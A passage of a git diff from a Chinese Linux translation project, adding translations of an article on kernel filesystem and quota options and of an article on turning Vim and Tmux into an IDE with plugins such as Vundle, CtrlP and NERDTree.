checks)。在计算机技术中,完整性检查是检测由于不良编程导致的错误。文件和输出都被检查来确保数据正确而不是以奇怪的方式构造。 + +一些旧的系统使用老的配额系统但希望在升级新内核时保留旧的配额系统。可以通过启用这个来容易解决(Old quota format support)。许多读者可能想要知道为什么一些人想要保留旧的配额系统而不是更新新的。好的,想想一下你是一家很大公司的IT部门的经理,公司有许多服务器运行着非常重要的任务。当你可以继续使用现在工作的很好的系统,你想要创建并配置一个新的(也可能很大)的文件系统么? 通常上,对于计算机,坚持下面的原则 - 如果它没有坏或者不会导致安全问题,不要去修复它。 + +用这个驱动,新的配额系统支持32位UID和GID(Quota format vfsv0 and vfsv1 support)。 + +为了自动挂载远程存储单元,启用这个驱动(Kernel automounter version 4 support)。 + +这个驱动支持FUSE文件系统(FUSE (Filesystem in Userspace) support)。用户空间文件系统(FUSE)支持任何用户创建他们自己的文件系统并在用户空间内使用。 + +一个特殊的FUSE扩展可以用于在用户空间使用字符设备Character device in Userspace support)。 + +In the next article, we will discuss caches, optical disc filesystems, FAT32 on Linux, and other interesting filesystem topics. Mahalo! +下一篇文章中,我们会继续讨论缓存,光盘文件系统,Linux上的FAT32和其他有趣的文件系统话题。谢谢! + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-19.4929/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linux.org/threads/ext-file-system.4365/ +[2]:http://www.linux.org/threads/ext-file-system.4365/ +[3]:http://www.linux.org/threads/journal-file-system.4136/ +[4]:http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/ +[5]:http://www.linux.org/threads/journaled-file-system-jfs.4404/ +[6]:http://www.linux.org/threads/xfs-file-system.4364/ +[7]:http://www.linux.org/threads/b-tree-file-system-btrfs.4430/ +[8]:http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/ +[9]:http://www.linux.org/threads/atomic-disk-quotas.4277/ \ No newline at end of file diff --git a/translated/Vim is your new IDE.md b/translated/Vim is your new IDE.md new file mode 100644 index 0000000000..1e645f7b22 --- /dev/null +++ b/translated/Vim is your new IDE.md @@ -0,0 +1,60 @@ +终端至上!将Vim打造成全新的集成开发环境! +================================================================================ +**让GUI都玩儿蛋去!鼠标是你的敌人!只有键盘才是你唯一的朋友!** + +如果把Vim和Tmux结合在一起会发生什么?你将拥有完美的编程环境!下面是我多年来珍藏的一些不传之秘,有了这些,你立刻就能轻松打造出属于你的Vim开发环境。 + +###Tmux相关### + +- [Tmux速成班][1],这个不错,可以让你快速掌握如何开始使用Tmux。 +- 这是我的[tmux.conf配置文件][2],它有一个定制状态栏,可以大大改进颜色主题、优化可读性,里面还有一个必不可少的操作:重设快捷将,因为`Ctrl+b`Vim要用,因此它帮你改为了`Ctrl+a`。 +- 其实,[构建优化IDE][3]就像写一个bash脚本一样简单。链接内的例子展示了如何编写一个`.sh`脚本来运行你自己的编程环境。 + +###Vim插件### + +- [Vundle][4],Vim的插件管理器,用它可以跟踪`.vimrc`文件中的所有插件,还可以进行脚本的一键安装、更新或删除。额,我会告诉你用它还可以直接在Vim里**搜索**插件吗?总之,这个插件扩展绝对是居家旅行、杀人越货之Vim必备佳品。 +- [Syntastic][5] 可以检测语法是否正确,写代码的时候要想避免低级错误,这个工具必不可少,它的确能**大大提高**你的代码编写速度。 +- [Supertab][6],这款插件可以帮助你使用``实现自动补全。它会搜索当前文档中的所有字符串,然后给出所有的匹配项建议。对写代码带来的好处不只是提升速度,还可以避免很多拼写错误。如果有兴趣,在本文最后一部分**用户推荐**,有此插件的替代品。 +- [Ack][7],99%的用户会选择用它代替grep。它完美集成在Vim里,用户可以直接用它搜索项目文件,搜索结果则显示在一个独立的窗口里。在本文最后一部分**用户推荐**,也有此插件的替代品。 +- [CtrlP][8] 能够极快的模糊搜索全路径文件、缓冲区、“最近使用”(MRU)和标签等等,纯粹用`VimL`写成,专为Vim搜索。 +- [NERDTree][9] 可以帮你浏览整个文件系统、打开文件或目录。它以树形结构显示整个文件系统,支持键盘操作和简单的文件系统操作。 +- [Sparkup][10]可以帮助你更快的编写HTML代码。支持**类CSS语法**和**完整的HTML扩展**代码。在本文最后一部分**用户推荐**,也有此插件的替代品。 + +###小贴士### + +- [Vimux][11]可以帮你在Vim中与Tmux进行交互。例如在不需要离开Vim的情况下进行测试、编写脚本、建立任务等。 +- [《自动安装Vundle》][12]这篇文章介绍了在`.vimrc`配置文件中只需添加几行`VimL`脚本,这样每次你在一个新环境中运行Vim的时候,它就能自动安装Vundle及所有关联包。在你拷贝Vim配置文件到一个新环境或新的服务器时,这是非常有用的。 +- [一名开发者的成功故事][13]介绍了他是如何告别他曾经最信任的**MacBook Pro**,并改用iPad + Linode在云上开始开发工作。 + +###用户推荐### + +- [YouCompleteMe][14],由Reddit用户hnasarat推荐。它安装起来稍微麻烦一些,但是支持非常强大的语法补全,包括C、Ruby、Python、PHP等许多语言。 +- [Ag][15],由*gckjk*推荐,大多数Reddit用户都知道它,这是升级版的`ack`,速度快了3到5倍。通过读取 `.gitignore`和 `.hgignore`,甚至`.agignore`,从而达到忽略匹配文件的作用。 +- [Emmet][16],由另一个资深reddit用户*damnated*推荐。这是一款`Sparkup`的替代品,可以非常方便快速地用标签标记字符串。链接里有示例演示视频。 +- [Unite][17]由网友 basetta推荐,它可以作为前面多个插件的替代品。你可以用它搜索文件(就像`CtrlP`),搜索文档内容(就像`ack`或`ag`),还可以在下拉历史或缓冲区间进行自由移动和切换。所有这些功能都集成在了这一个插件里,非常方便! + +-------------------------------------------------------------------------------- + +via: http://devcharm.com/pages/18-vim-is-your-new-ide + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://robots.thoughtbot.com/a-tmux-crash-course +[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf +[3]:https://gist.github.com/vrde/7398199 +[4]:https://github.com/gmarik/vundle +[5]:https://github.com/scrooloose/syntastic +[6]:https://github.com/ervandew/supertab +[7]:https://github.com/mileszs/ack.vim +[8]:http://kien.github.io/ctrlp.vim/ +[9]:https://github.com/scrooloose/nerdtree +[10]:https://github.com/rstacruz/sparkup +[11]:https://github.com/benmills/vimux +[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/ +[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode +[14]:https://github.com/Valloric/YouCompleteMe +[15]:https://github.com/ggreer/the_silver_searcher +[16]:http://mattn.github.io/emmet-vim/ +[17]:https://github.com/Shougo/unite.vim